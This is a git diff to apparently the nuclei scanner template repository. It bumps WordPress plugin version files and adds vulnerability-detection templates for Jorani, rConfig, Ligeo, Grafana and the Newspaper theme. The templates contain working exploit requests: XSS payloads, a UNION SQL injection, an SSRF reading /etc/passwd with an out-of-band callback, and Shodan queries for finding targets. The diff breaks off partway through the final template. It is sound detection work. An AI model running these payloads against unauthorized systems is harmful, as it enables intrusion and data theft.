diff --git a/.new-additions b/.new-additions index 4842155e806..f8e33bf79fa 100644 --- a/.new-additions +++ b/.new-additions @@ -1,6 +1,9 @@ http/cnvd/2021/CNVD-2021-32799.yaml http/cves/2016/CVE-2016-10108.yaml +http/cves/2018/CVE-2018-15917.yaml +http/cves/2020/CVE-2020-10220.yaml http/cves/2020/CVE-2020-11798.yaml +http/cves/2021/CVE-2021-46107.yaml http/cves/2022/CVE-2022-22897.yaml http/cves/2023/CVE-2023-20073.yaml http/cves/2023/CVE-2023-26469.yaml @@ -8,6 +11,7 @@ http/cves/2023/CVE-2023-27034.yaml http/cves/2023/CVE-2023-30150.yaml http/cves/2023/CVE-2023-32563.yaml http/cves/2023/CVE-2023-34124.yaml +http/cves/2023/CVE-2023-34192.yaml http/cves/2023/CVE-2023-36844.yaml http/exposed-panels/aspcms-backend-panel.yaml http/exposed-panels/greenbone-panel.yaml diff --git a/helpers/wordpress/plugins/all-in-one-seo-pack.txt b/helpers/wordpress/plugins/all-in-one-seo-pack.txt index f15ec04e09e..3b5ab14de2a 100644 --- a/helpers/wordpress/plugins/all-in-one-seo-pack.txt +++ b/helpers/wordpress/plugins/all-in-one-seo-pack.txt @@ -1 +1 @@ -4.4.4 \ No newline at end of file +4.4.5.1 \ No newline at end of file diff --git a/helpers/wordpress/plugins/better-wp-security.txt b/helpers/wordpress/plugins/better-wp-security.txt index 5f82703f924..1c61cc5bd96 100644 --- a/helpers/wordpress/plugins/better-wp-security.txt +++ b/helpers/wordpress/plugins/better-wp-security.txt @@ -1 +1 @@ -8.1.7 \ No newline at end of file +8.1.8 \ No newline at end of file diff --git a/helpers/wordpress/plugins/broken-link-checker.txt b/helpers/wordpress/plugins/broken-link-checker.txt index fae692e41d4..7e541aec69b 100644 --- a/helpers/wordpress/plugins/broken-link-checker.txt +++ b/helpers/wordpress/plugins/broken-link-checker.txt @@ -1 +1 @@ -2.2.1 \ No newline at end of file +2.2.2 \ No newline at end of file diff --git a/helpers/wordpress/plugins/cookie-law-info.txt b/helpers/wordpress/plugins/cookie-law-info.txt index 6ebad148881..711ee4f504a 100644 --- a/helpers/wordpress/plugins/cookie-law-info.txt +++ b/helpers/wordpress/plugins/cookie-law-info.txt @@ -1 +1 @@ -3.1.2 \ No newline at end of file +3.1.3 \ No newline at end of file diff --git a/helpers/wordpress/plugins/loco-translate.txt b/helpers/wordpress/plugins/loco-translate.txt index e46a05b1967..68167133b95 100644 --- a/helpers/wordpress/plugins/loco-translate.txt +++ b/helpers/wordpress/plugins/loco-translate.txt @@ -1 +1 @@ -2.6.4 \ No newline at end of file +2.6.5 \ No newline at end of file diff --git a/helpers/wordpress/plugins/maintenance.txt b/helpers/wordpress/plugins/maintenance.txt index 109b44a452d..497104f6201 100644 --- a/helpers/wordpress/plugins/maintenance.txt +++ b/helpers/wordpress/plugins/maintenance.txt @@ -1 +1 @@ -4.07 \ No newline at end of file +4.08 \ No newline at end of file diff --git a/helpers/wordpress/plugins/ml-slider.txt b/helpers/wordpress/plugins/ml-slider.txt index ebb8439a9bb..0dc31e89d8c 100644 --- a/helpers/wordpress/plugins/ml-slider.txt +++ b/helpers/wordpress/plugins/ml-slider.txt @@ -1 +1 @@ -3.36.0 \ No newline at end of file +3.37.0 \ No newline at end of file diff --git a/helpers/wordpress/plugins/woocommerce-payments.txt b/helpers/wordpress/plugins/woocommerce-payments.txt index f9da12e1184..c0be8a7992a 100644 --- a/helpers/wordpress/plugins/woocommerce-payments.txt +++ b/helpers/wordpress/plugins/woocommerce-payments.txt @@ -1 +1 @@ -6.3.2 \ No newline at end of file +6.4.0 \ No newline at end of file diff --git a/http/cves/2018/CVE-2018-15917.yaml b/http/cves/2018/CVE-2018-15917.yaml new file mode 100644 index 00000000000..0cee8304d1b --- /dev/null +++ b/http/cves/2018/CVE-2018-15917.yaml @@ -0,0 +1,50 @@ +id: CVE-2018-15917 + +info: + name: Jorani Leave Management System 0.6.5 - Cross-Site Scripting + author: ritikchaddha + severity: medium + description: | + Persistent cross-site scripting (XSS) issues in Jorani 0.6.5 allow remote attackers to inject arbitrary web script or HTML via the language parameter to session/language. + reference: + - https://www.exploit-db.com/exploits/45338 + - https://nvd.nist.gov/vuln/detail/CVE-2018-15917 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N + cvss-score: 5.4 + cve-id: CVE-2018-15917 + cwe-id: CWE-79 + metadata: + max-request: 2 + verified: true + shodan-query: title:"Login - Jorani" + tags: cve,cve2018,jorani,xss + +http: + - raw: + - | + GET /session/language?last_page=session%2Flogin&language=en%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&login=&CipheredValue= HTTP/1.1 + Host: {{Hostname}} + + - | + GET /session/login HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - '' + - '_jorani' + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/http/cves/2020/CVE-2020-10220.yaml b/http/cves/2020/CVE-2020-10220.yaml new file mode 100644 index 00000000000..860bb427fd0 --- /dev/null +++ b/http/cves/2020/CVE-2020-10220.yaml @@ -0,0 +1,41 @@ +id: CVE-2020-10220 + +info: + name: rConfig 3.9 - SQL injection + author: ritikchaddha + severity: critical + description: | + An issue was discovered in rConfig through 3.9.4. The web interface is prone to a SQL injection via the commands.inc.php searchColumn parameter. + reference: + - http://packetstormsecurity.com/files/156950/rConfig-3.9.4-searchField-Remote-Code-Execution.html + - https://nvd.nist.gov/vuln/detail/CVE-2020-10220 + classification: + cve-id: CVE-2020-10220 + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cwe-id: CWE-89 + metadata: + max-request: 1 + verified: true + shodan-query: title:"rConfig" + tags: cve,cve2020,rconfig,sqli + +variables: + num: "999999999" + +http: + - raw: + - | + GET /commands.inc.php?searchOption=contains&searchField=vuln&search=search&searchColumn=command%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,md5({{num}}),0x5B50574E5D3C42523E)%20limit%200,1),NULL-- HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '{{md5({{num}})}}' + + - type: status + status: + - 200 diff --git a/http/cves/2020/CVE-2020-13379.yaml b/http/cves/2020/CVE-2020-13379.yaml index ffe2cb9506b..b6f06735253 100644 --- a/http/cves/2020/CVE-2020-13379.yaml +++ b/http/cves/2020/CVE-2020-13379.yaml @@ -18,21 +18,23 @@ info: cvss-score: 8.2 cve-id: CVE-2020-13379 cwe-id: CWE-918 - epss-score: 0.16322 cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:* + epss-score: 0.16322 metadata: - max-request: 1 + max-request: 2 + product: grafana shodan-query: title:"Grafana" - verified: true vendor: grafana - product: grafana + verified: true tags: cve,cve2020,grafana,ssrf http: - method: GET path: - "{{BaseURL}}/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252F1.1.1.1" + - "{{BaseURL}}/grafana/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252F1.1.1.1" + stop-at-first-match: true matchers-condition: and matchers: - type: word diff --git a/http/cves/2021/CVE-2021-46107.yaml b/http/cves/2021/CVE-2021-46107.yaml new file mode 100644 index 00000000000..466d24fa8a6 --- /dev/null +++ b/http/cves/2021/CVE-2021-46107.yaml @@ -0,0 +1,42 @@ +id: CVE-2021-46107 + +info: + name: Ligeo Archives Ligeo Basics - Server Side Request Forgery + author: ritikchaddha + severity: high + description: | + Ligeo Archives Ligeo Basics as of 02_01-2022 is vulnerable to Server Side Request Forgery (SSRF) which allows an attacker to read any documents via the download features. + reference: + - https://raw.githubusercontent.com/Orange-Cyberdefense/CVE-repository/master/PoCs/POC_CVE-2021-46107.py + - https://nvd.nist.gov/vuln/detail/CVE-2021-46107 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2021-46107 + cwe-id: CWE-918 + metadata: + fofa-query: title="Ligeo" + max-request: 3 + shodan-query: title:"Ligeo" + verified: true + tags: cve,cve2021,ligeo,ssrf,lfr + +http: + - raw: + - | + GET / HTTP/1.1 + Host: {{Hostname}} + + - | + GET /archive/download?file=file:///etc/passwd HTTP/1.1 + Host: {{Hostname}} + + - | + GET /archive/download?file=http://{{interactsh-url}}/ HTTP/1.1 + Host: {{Hostname}} + + matchers: + - type: dsl + dsl: + - "regex('root:.*:0:0:', body_2) && contains(body_1, 'Ligeo Archives')" + - "contains(interactsh_protocol, 'http') && contains(body_1, 'Ligeo Archives')" diff --git a/http/cves/2022/CVE-2022-2627.yaml b/http/cves/2022/CVE-2022-2627.yaml index 0485651b64e..f4d9a59974a 100644 --- a/http/cves/2022/CVE-2022-2627.yaml +++ b/http/cves/2022/CVE-2022-2627.yaml @@ -1,11 +1,12 @@ id: CVE-2022-2627 info: - name: WordPress Newspaper <12 - Cross-Site Scripting - author: ramondunker + name: WordPress Newspaper < 12 - Cross-Site Scripting + author: ramondunker,c4sper0 severity: medium description: | WordPress Newspaper theme before 12 is susceptible to cross-site scripting. The does not sanitize a parameter before outputting it back in an HTML attribute via an AJAX action. An attacker can potentially execute malware, obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials. + remediation: Fixed in version 12 reference: - https://wpscan.com/vulnerability/038327d0-568f-4011-9b7e-3da39e8b6aea - https://nvd.nist.gov/vuln/detail/CVE-2022-2627 @@ -18,6 +19,8 @@ info: cpe: cpe:2.3:a:tagdiv:newspaper:*:*:*:*:*:wordpress:*:* metadata: max-request: 1 + verified: true + publicwww-query: "/wp-content/themes/Newspaper" framework: wordpress vendor: tagdiv product: newspaper @@ -26,19 +29,23 @@ info: http: - raw: - | - POST /wp-admin/admin-ajax.php?td_theme_name=Newspaper&v=11.2 HTTP/2 + POST /wp-admin/admin-ajax.php?td_theme_name=Newspaper&v=11.2 HTTP/1.1 Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded - action=td_ajax_search&td_string=tej2j1q%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3emvufr + action=td_ajax_loop&loopState[moduleId]={{xss_payload}}&loopState[server_reply_html_data]= + + payloads: + xss_payload: + - "
" matchers-condition: and matchers: - type: word part: body words: - - '' - - '/newspaper' - case-insensitive: true + -